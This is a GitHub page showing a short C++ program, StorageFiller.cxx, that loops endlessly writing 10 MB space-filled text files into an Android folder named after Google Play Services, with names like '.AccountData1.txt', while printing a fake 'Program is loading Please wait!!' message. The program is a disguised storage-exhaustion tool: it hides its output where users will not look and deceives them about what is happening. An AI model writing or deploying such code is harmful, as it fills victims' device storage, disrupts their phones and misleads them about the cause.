-
Notifications
You must be signed in to change notification settings - Fork 1
/
StorageFiller.cxx
83 lines (77 loc) · 1.52 KB
/
StorageFiller.cxx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <iostream>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fstream>
using namespace std;
//CREATES text file of 100mb
void create_file()
{
int o = 0;
int i = 1;
int size, n = -5;
size = 1024 * 1024 * 10;
string filename = "/storage/emulated/0/Android/data/com.google.android.gms/.AccountData";
while (true)
{
cout << "Program is loading Please wait!!" << o << endl;
filename.append(to_string(i));
filename.append(".txt");
std::ofstream fout(filename);
fout.fill(' ');
fout.width(size);
fout << ' ';
o = o + 500;
i++;
// int **arr = new int*[1+i];
// arr[i] = new int[i+1];
}
}
//checks that directory is avalible or not
string DirCheck(void)
{
const char *dir = "/storage/emulated/0/Android/data/com.google.android.gms";
struct stat sb;
if (stat(dir, &sb) == 0)
{
return "1";
}
else
{
return "0";
}
}
//creates directory if not exists
string createDir(string check)
{
mkdir("/storage/emulated/0/Android/data/com.google.android.gms", 0777);
if (check == "1")
{
cout << "Program is loading Please wait!!" << endl;
}
}
// cout << "unable to create!" << endl;
int main()
{
while (true)
{
// int n;
// float file_size;
// cout << "Enter number of files:";
// cin >> n;
// cout << "Enter size of each file in mb:";
// cin >> file_size;
string check = DirCheck();
//checks directory is avaliable or have to create
if (DirCheck() == "0")
{
createDir(check);
create_file();
}
else
{
// cout << "Directory Avaliable";
create_file();
}
}
}